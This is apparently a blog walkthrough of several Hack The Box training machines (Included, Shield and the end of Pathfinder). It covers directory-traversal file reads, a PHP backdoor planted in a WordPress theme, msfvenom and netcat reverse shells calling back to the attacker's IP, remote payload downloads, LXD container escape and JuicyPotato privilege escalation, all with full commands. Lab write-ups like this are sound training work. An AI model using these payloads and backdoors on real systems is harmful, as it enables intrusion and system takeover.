So it looks like built in users have full control over the file, that includes daniel. Ok so lets see what the file is actually doing. Using the type command it was possible to read the contents of the file.

[email protected] C:\Users\daniel\Documents>type C:\Log-Management\job.bat 
@echo off 
FOR /F “tokens=1,2*” %%V IN (‘bcdedit’) DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F “tokens=*” %%G in (‘wevtutil.exe el’) DO (call :do_clear “%%G”)
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit

So the script appears be an automated script to clear the logs but it requires being an admin to run it. So I had a look at a walkthrough at this point and noticed that others had said the script was running as a scheduled task and that whatever command you echo in to the file would be executed the next time it ran. I had a look at the scheduled tasks and couldn’t find it. I ran schtasks and there was nothing in there relating to job.bat. If you know how this was initially found then please let me know.

So with that in mind I set about dropping a copy of netcat on the box using the same method we used to deliver winPEAS.

Invoke-WebRequest http://10.10.14.38/nc64.exe -OutFile nc64.exe

Then once the file was on the box, I echoed a command in to the job.bat file to tell it to execute nc64.exe or nc.exe (whichever you want to use) and connect back to my machine.

So this is where I messed up for the longest time. It was a really really silly mistake too. In order to make my life a bit easier, I upgraded from a Command Prompt session to a PowerShell session. Then whenever I ran the following command:

echo C:\Users\Daniel\nc64.exe -e cmd.exe 10.10.14.38 1234 > C:\Log-Management\job.bat

It would error and tell me that ‘e’ was too ambiguous, who knew the letter e could be so open to interpretation. Well anyway, I spent about an hour enclosing it with quotation marks and all the other stuff you do to try and echo a string in to the file. I even went as far as to encode it with base64. The string was being echoed in to the file but the shell wasn’t coming back to my local machine. To make matters worse, the file was being overwritten every time it ran so I felt like there was a problem with the machine.

Well there wasn’t a problem with the machine, there was a problem with my brain. I dropped down to Command Prompt from PowerShell, ran the command without any quotation marks, the ‘e’ was accepted and within seconds I had a reverse shell with Administrator privileges, and then I captured the root.txt flag.

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
f57XXXXXXXXXXXXXXXXX0f8

So if you get to this point on the machine and you’re pulling your hair out wondering why your exploit wont work. Try changing from PowerShell to CMD when echoing the string to the job.bat and see if that works. Lesson learned. One thing I did find interesting though was that I created a payload using MSFVenom and dropped that on the box. I echoed the location in to the script but still didn’t get a shell when it executed. I ran type on the file to confirm that the text had been added. Very odd.

Ok it’s time to hack another machine from the Hack The Box Starting Point series. We have already managed to hack Archetype, Oopsie, Vaccine, Shield and Pathfinder. Today we are looking at the Included machine. This was a really fun box despite a frustrating ending. This box is fairly simple to start off with provided you notice everything that is going on.

Reconnaissance

So first of all we ping the box to see if it’s up.

└──╼ [★]$ sudo ping 10.10.10.55 | tee -a ping.txt
PING 10.10.10.55 (10.10.10.55) 56(84) bytes of data.
64 bytes from 10.10.10.55: icmp_seq=1 ttl=63 time=21.5 ms

Next we run our nmap scan.

└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.55 | tee -a nmap.10.10.10.55.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–11 16:30 BST
Nmap scan report for 10.10.10.55
Host is up (0.022s latency).
Not shown: 65535 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Site doesn’t have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.10.55/?file=index.php
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Ok so only a webserver is running, or is it? So I went to poke at the website and immediately saw that the website was calling the index.php using a file parameter. Caught my eye because it seemed like quite an obvious naming convention for accessing files. So naturally I pointed it straight at the /etc/passwd file and immediately had the file returned back to me.

Sweet where now? Well as other guides have mentioned, there is an interesting user in the /etc/passwd file. As you can see from the tool ouput below, the user tftp exists at the very bottom of the file with the home directory of /var/lib/tftpboot.

cat /mnt/root/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

Interesting, I confirmed that TFTP was open, it listens on UDP rather than TCP which is why our Nmap scan missed it. At this point I would also like to point out that Nessus missed the TFTP service too. It also missed the directory traversal vulnerability which I also felt was odd since I asked it to san for web vulnerabilities. Nikto also missed the directory traversal vulnerability so this is an important lesson that you can’t always rely on tools

Foothold Hack

Anyway I’m getting side tracked. I pinched the tried and tested pentestmonkey/php-reverse-shell and configured it for my IP address and port. I then uploaded the file to the machine using tftp.

└──╼ [★]$ tftp 10.10.10.55
tftp> put phpshell.php phpshell.php
Sent 5681 bytes in 0.4 seconds
tftp>

Once that was uploaded to the server I created my netcat listener and then ran curl against the URL to get a shell.

└──╼ [★]$ curl http://10.10.10.55/?file=../../../../../var/lib/tftpboot/phpshell.php

I checked out the history and ran a few other tools but nothing of much interest. There was a user called mike by listing out the /home directory. I guess this is the user we need to escalate to, to proceed further. It looks like mike has the user.txt flag in his home directory to so this confirmed my suspicious. After failing for a while I decided to try and switch user to Mike using the password found on the previous machine Pathfinder. Yeah it worked.

bash-4.4$ ls /home/mike
ls /home/mike
alpine-v3.14-x86_64–20210909_2211.tar.gz user.txt
bash-4.4$ cat /home/mike/user.txt
cat: /home/mike/user.txt: Permission denied
bash-4.4$ su mike
su mike
Password: Sheffield19

With that I was able to capture the user flag.

bash-4.4$ cat /home/mike/user.txt
cat /home/mike/user.txt
a56XXXXXXXXXXXXXXXXXXXXXXX5a1

So what next? Well it was time to perform some more enumeration on the machine. I grabbed a copy of Linpeas and hosted on my machine using Python’s simple http server. I then downloaded the script and ran it. Unfortunately, my VM crashed before I had chance to save the output but it turns out mike is a member of the lxd group.

At this point I checked the official walkthrough and attempted to follow the instructions. However for whatever reason I couldn’t get the lxd-alpine-builder script to work at all. Every time I ran the script, I just kept getting an error message telling me there was an invalid parameter. I tried to strace the script but the information it provided wasn’t much help either.

Privilege Escalation Hack

After a bit of google fu I found this awesome article by hacktricks.xyz that essentially does the same thing but differently. So, I got to following the instructions there and created the image.

sudo su
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
sudo go get -d -v github.com/lxc/distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

With the image and the rootfs.squashfs file ready, I started the python server again and downloaded the files from my local machine to the Included machine.

[email protected]:~$ wget http://10.10.14.38/rootfs.squashfs
2021–09–11 18:02:14 —  http://10.10.14.38/rootfs.squashfs
Connecting to 10.10.14.38:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 2318336 (2.2M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[===================>] 2.21M 3.17MB/s in [email protected]:~$ wget http://10.10.14.38/lxd.tar.xz
2021–09–11 18:03:40 —  http://10.10.14.38/lxd.tar.xz
Connecting to 10.10.14.38:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 884 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[===================>] 884 — .-KB/s in 0.005s

With the files now on the machine, I imported the image, configured it and ran it.

[email protected]:~$ lxc image import lxd.tar.xz rootfs.squashfs — alias alpine
[email protected]:~$ lxc init alpine privesc -c security.privileged=true
lxc init alpine privesc -c security.privileged=true
Creating privesc
[email protected]:~$ lxc list
lxc list
+ — — — — -+ — — — — -+ — — — + — — — + — — — — — — + — — — — — -+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+ — — — — -+ — — — — -+ — — — + — — — + — — — — — — + — — — — — -+
| privesc | STOPPED | | | PERSISTENT | 0 |
+ — — — — -+ — — — — -+ — — — + — — — + — — — — — — + — — — — — [email protected]:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
<st-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
[email protected]:~$ lxc start privesc
lxc start privesc
[email protected]:~$ lxc exec privesc /bin/sh
lxc exec privesc /bin/sh

While the shell wasn’t pretty, it did have root access and I was able to capture the final flag.

cd /mnt/root/root
/mnt/root/root # ^[[43;18Rcat root.txt
cat root.txt
c69XXXXXXXXXXXXXXXXbcf

This box gave me more trouble than I care to admit. I wouldn’t classify it as super easy that’s for sure. I have owned around 30 machines so far and this one was up there on the frustrated me list. If you’re new to the site then these posts are following the Starting Point on Hack The Box, we have already hacked Archetype, Oopsie and Vaccine.

Reconnaissance

There are other great guides out for this box and I’m not pretending that I’m the first to write a walkthrough for it. artilleryRed, eldruin and many others have written great guides which I had to use to hack this box. I’m writing this merely as a way for me to better understand the techniques used and to document my progress.

So first things first we perform our tried and tested nmap scan and wait for the results.

[10.10.15.199]─[[email protected]]─[/media/sf_admin/Shield/Output]
└──╼ [★]$ nmap -Pn -sC -sV — min-rate=1000 -T4 -p0- 10.10.10.29PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
| http-methods:
|_ Supported Methods: HEAD OPTIONS
|_http-server-header: Microsoft-IIS/10.0
3306/tcp open tcpwrapped
| mysql-info:
|_ MySQL Error: Host ‘10.10.15.199’ is not allowed to connect to this MySQL server

It looks like we have a webserver and MySQL running so lets go and take a look at the webserver. Upon punching in the IP address we are greeted with a default Internet Information Services page. If we didn’t know before then we can deduct that this is a Windows box.

Ok so what else is there on this box, lets brute force the files and folders and see if there is anything that has been left behind by the creator.

[10.10.15.199]─[[email protected]]─[/media/sf_admin/Shield/Output]
└──╼ [★]$ sudo dirb http://10.10.10.29/
DIRB v2.22
By The Dark Raver
— — — — — — — — -
START_TIME: Wed Sep 8 20:37:47 2021
URL_BASE: http://10.10.10.29/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
— — — — — — — — -
GENERATED WORDS: 4612
— — Scanning URL: http://10.10.10.29/ — — 
==> DIRECTORY: http://10.10.10.29/wordpress/
— Entering directory: http://10.10.10.29/wordpress/ — — 
+ http://10.10.10.29/wordpress/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://10.10.10.29/wordpress/wp-admin/
==> DIRECTORY: http://10.10.10.29/wordpress/wp-content/
==> DIRECTORY: http://10.10.10.29/wordpress/wp-includes/

Okie dokie, we have a WordPress content management system installed. WordPress is probably the most used content management system available now. It probably also has the most documentation on how you hack it to shreds. After poking at it for a bit and not making much progress I looked at a walkthrough and saw that they were using credentials that were found on a previous box. Turns out the credentials worked, while reading the official walkthrough I also noticed that they used the Metasploit module wp_admin_shell_upload to hack a shell on to the box. I tried this and had no luck what so ever. I’ve included my configuration below so you can check it and let me know if I was doing anything wrong. The exploit worked but no session was created, who knows.

Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
— — — — — — — — — — — — — — — — — — -
PASSWORD [email protected]! yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port
RHOSTS 10.10.10.29 yes The target host(s), range CIDR identifier, or hosts file with syntax ‘file:<path>’
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /wordpress yes The base path to the wordpress application
USERNAME admin yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
— — — — — — — — — — — — — — — — — — — -
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Foothold Hack

So with that issue out the way I decided to log in to WordPress and poke around. I have managed to get a reverse shell before by editing the 404 PHP template and sticking a PHP reverse shell in there. In order to trigger it you just need to visit a page that doesn’t exist. Well no such luck on this machine, there is no 404 template. I tried a few other pages with PHP reverse shells but didn’t get anywhere. After this it was getting late so I gave up for the night.

The following day was much more productive. I edited the Single Post single.php file and stuck the simple-backdoor.php hack in there.

<! — Simple PHP backdoor by DK (http://michaeldaw.org) →
<?php
if(isset($_REQUEST[‘cmd’])){
 echo “<pre>”;
 $cmd = ($_REQUEST[‘cmd’]);
 system($cmd);
 echo “</pre>”;
 die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<! — http://michaeldaw.org 2006 →

This script is awesome as it allows you to execute commands through the cmd parameter. With that saved to the single.php file it was time to test whether it worked. By calling the following URL it was possible to list the files in the directory where the script was being executed from.

The following command was used to test wether the backdoor was working.

http://10.10.10.29/wordpress/wp-content/themes/highlight/single.php?cmd=dir

Now that we have command execution it is time to get on to the box via a reverse shell. In order to do this I created a reverse shell executable using MSFVenom.

sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.199 LPORT=1337 -f exe -e x86/shikata_ga_nai -i 9 -o reverse.exe

With the hack created, I started a Python webserver that the Shield machine could connect too and download it. By pasting the following URL in the browser with the additional cmd parameter commands, the machine downloads and saves the reverse shell payload locally.

http://10.10.10.29/wordpress/wp-content/themes/highlight/single.php?cmd=powershell -c “(New-Object Net.Webclient).DownloadFile(‘http://10.10.15.199/reverse.exe','C:\inetpub\wwwroot\wordpress\wp-content\themes\highlight\reverse.exe')"

With the file downloaded on to the server, we need to set up our netcat listener.

sudo nc -lvp 1337

Now time to get the reverse.exe file from the webserver.

http://10.10.10.29/wordpress/wp-content/themes/highlight/single.php?cmd=reverse.exe

Privilege Escalation Hack

Bingo we have access to the box, what now? There is lots of tools out there that you can use to gather information about the host and look for potential privilege escalation paths. One such tool is winPEAS. I won’t go into the details of finding the escalation path but it turns out I needed to use Juicy Potato hack. This part of the machine was an absolute nightmare, no matter what Class ID I used, the hack failed. Well one machine reset later and pulling the first CLSID from the list found here and I had a shell back to my host with system.

In order to do this I first downloaded and uploaded JuicyPotato to the system using the same method as the reverse.exe payload. I also did the same with nc.exe. I then created a batch file with the following payload inside.

echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111 > shell.bat

Once that was in place it was time to run JuicyPotato and invoke the shell.bat file to create a reverse shell back to my host. Make sure you have another listener running on your host ready to accept the connection.

jp.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\themes\highlight\shell.bat -l 9999 -t * -c {03ca98d6-ff5d-49b8-abc6–03dd84127020}

It was then possible to capture the root key via the newly created shell.

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
6e9XXXXXXXXXXXXXXXXX4fa